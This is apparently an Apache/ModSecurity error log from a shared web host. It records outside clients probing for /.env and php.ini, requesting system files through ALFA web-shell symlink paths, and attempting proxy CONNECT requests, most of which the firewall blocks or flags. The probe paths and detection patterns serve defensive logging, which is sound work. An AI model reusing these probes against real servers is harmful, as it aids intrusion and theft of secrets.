[Sat Oct 24 10:22:48.911064 2026] [security2:error] [pid 2627309:tid 2627309] [client 130.12.180.164:18850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc1.sherwinpinturas.com"] [uri "/.env"] [unique_id "aty_OF0Yuvqa3nuKpvNDMwAAAAk"]
[Sat Oct 24 10:22:48.911340 2026] [security2:error] [pid 2627309:tid 2627309] [client 130.12.180.164:18850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc1.sherwinpinturas.com"] [uri "/.env"] [unique_id "aty_OF0Yuvqa3nuKpvNDMwAAAAk"]
[Sat Oct 24 10:22:50.479852 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 50.16.216.166:21702] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:23:02.421506 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.85.7.119:51492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:23:06.469135 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.208.193.63:26116] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:23:14.580890 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.2.83.227:33476] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:23:17.147546 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 46.151.178.14:30068] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:23:18.605567 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 100.29.107.38:11668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:23:22.859185 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.219.81.66:17798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:23:35.084767 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.202.52.82:46778] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/drivers/pvpanic/uevent
[Sat Oct 24 10:23:38.568835 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 18.215.77.19:57137] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/shrink
[Sat Oct 24 10:23:46.485455 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 184.73.195.18:56446] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:23:50.808017 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 50.19.79.213:18522] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:23:55.336839 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.15:21964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/aliases
[Sat Oct 24 10:23:58.478989 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 34.234.200.207:21279] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/resource4_wc
[Sat Oct 24 10:24:02.610150 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.209.100.30:14395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:24:04.828148 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.16:32218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/hwcache_align
[Sat Oct 24 10:24:06.012119 2026] [security2:error] [pid 2607843:tid 2607843] [client 185.191.171.14:28442] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/greek/errmsg.sys"] [unique_id "aty_hQSwRuPA-FjBma7KawAAAAI"]
[Sat Oct 24 10:24:06.012600 2026] [security2:error] [pid 2607843:tid 2607843] [client 185.191.171.14:28442] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/greek/errmsg.sys"] [unique_id "aty_hQSwRuPA-FjBma7KawAAAAI"]
[Sat Oct 24 10:24:06.013005 2026] [security2:error] [pid 2607843:tid 2607843] [client 185.191.171.14:28442] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/greek/errmsg.sys"] [unique_id "aty_hQSwRuPA-FjBma7KawAAAAI"]
[Sat Oct 24 10:24:07.209229 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 107.20.181.148:27328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:24:14.610738 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 98.83.8.142:24882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:24:18.570870 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 54.235.125.129:22533] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/piix4_smbus/uevent
[Sat Oct 24 10:24:26.525845 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 184.73.239.35:56370] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:24:31.346039 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.16:59690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/trustedmailhosts
[Sat Oct 24 10:24:48.012831 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 185.191.171.3:50480] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:24:50.555751 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 100.28.118.16:22652] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:24:54.593971 2026] [ssl:error] [pid 2627309:tid 2627309] (5)Input/output error: [client 44.218.6.93:56883] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:25:07.294795 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.205.163.103:49352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:25:14.595606 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.166.126.132:31207] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:25:19.109980 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.207.47.227:29296] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:25:21.905564 2026] [security2:error] [pid 2635678:tid 2635678] [client 45.198.224.239:56062] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tooyoungtoholdon.world:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tooyoungtoholdon.world"] [uri "/"] [unique_id "aty_0aC4H19ncVbSqfEzHwAAAAU"]
[Sat Oct 24 10:25:21.907935 2026] [security2:error] [pid 2635677:tid 2635677] [client 45.198.224.233:60462] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT cdn.tooyoungtoholdon.world:7000 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "cdn.tooyoungtoholdon.world"] [uri "/"] [unique_id "aty_0YWurp-t0SwAQgRqfQAAAAQ"]
[Sat Oct 24 10:25:21.911854 2026] [security2:error] [pid 2625272:tid 2625272] [client 45.198.224.237:38158] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT raw.bunnyfeet.baby:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "raw.bunnyfeet.baby"] [uri "/"] [unique_id "aty_0YY2rJh4KkI7ZZhlDgAAAAM"]
[Sat Oct 24 10:25:21.921347 2026] [security2:error] [pid 2625330:tid 2625330] [client 45.198.224.237:38144] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tls.bunnyfeet.baby:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tls.bunnyfeet.baby"] [uri "/"] [unique_id "aty_0fMnT_rHlxLKOWDoQwAAAAc"]
[Sat Oct 24 10:25:21.932775 2026] [security2:error] [pid 2625330:tid 2625330] [client 45.198.224.230:36968] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT youshouldvecomeover.lol:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_0fMnT_rHlxLKOWDoRAAAAAc"]
[Sat Oct 24 10:25:22.712139 2026] [ssl:error] [pid 2653676:tid 2653676] (70014)End of file found: [client 44.210.213.220:31250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:25:22.719879 2026] [security2:error] [pid 2653676:tid 2653676] [client 45.198.224.239:56094] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tooyoungtoholdon.world:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tooyoungtoholdon.world"] [uri "/"] [unique_id "aty_0hFNmx-eUhpM6DVJbAAAAAg"]
[Sat Oct 24 10:25:22.742148 2026] [security2:error] [pid 2653676:tid 2653676] [client 45.198.224.233:60468] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT cdn.youshouldvecomeover.lol:7000 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "cdn.youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_0hFNmx-eUhpM6DVJbgAAAAg"]
[Sat Oct 24 10:25:22.774977 2026] [security2:error] [pid 2653676:tid 2653676] [client 45.198.224.237:38180] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT raw.bunnyfeet.baby:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "raw.bunnyfeet.baby"] [uri "/"] [unique_id "aty_0hFNmx-eUhpM6DVJcQAAAAg"]
[Sat Oct 24 10:25:22.785825 2026] [security2:error] [pid 2653676:tid 2653676] [client 45.198.224.237:38192] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tls.bunnyfeet.baby:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tls.bunnyfeet.baby"] [uri "/"] [unique_id "aty_0hFNmx-eUhpM6DVJcgAAAAg"]
[Sat Oct 24 10:25:22.808584 2026] [security2:error] [pid 2653676:tid 2653676] [client 45.198.224.230:36980] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT youshouldvecomeover.lol:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_0hFNmx-eUhpM6DVJdAAAAAg"]
[Sat Oct 24 10:25:24.603311 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.198.224.239:56110] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT youshouldvecomeover.lol:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_1L67zmuaHuFajxGlyQAAAA4"]
[Sat Oct 24 10:25:24.615336 2026] [security2:error] [pid 2653684:tid 2653684] [client 45.198.224.233:60470] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT cdn.youshouldvecomeover.lol:7000 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "cdn.youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_1IG05LUuqA9cElEThAAAAA8"]
[Sat Oct 24 10:25:24.627692 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.198.224.237:57550] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT raw.bunnyfeet.baby:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "raw.bunnyfeet.baby"] [uri "/"] [unique_id "aty_1L67zmuaHuFajxGlywAAAA4"]
[Sat Oct 24 10:25:24.638015 2026] [security2:error] [pid 2653684:tid 2653684] [client 45.198.224.237:57554] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tls.bunnyfeet.baby:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tls.bunnyfeet.baby"] [uri "/"] [unique_id "aty_1IG05LUuqA9cElEThgAAAA8"]
[Sat Oct 24 10:25:24.649309 2026] [security2:error] [pid 2653684:tid 2653684] [client 45.198.224.230:46504] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT youshouldvecomeover.lol:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_1IG05LUuqA9cElEThwAAAA8"]
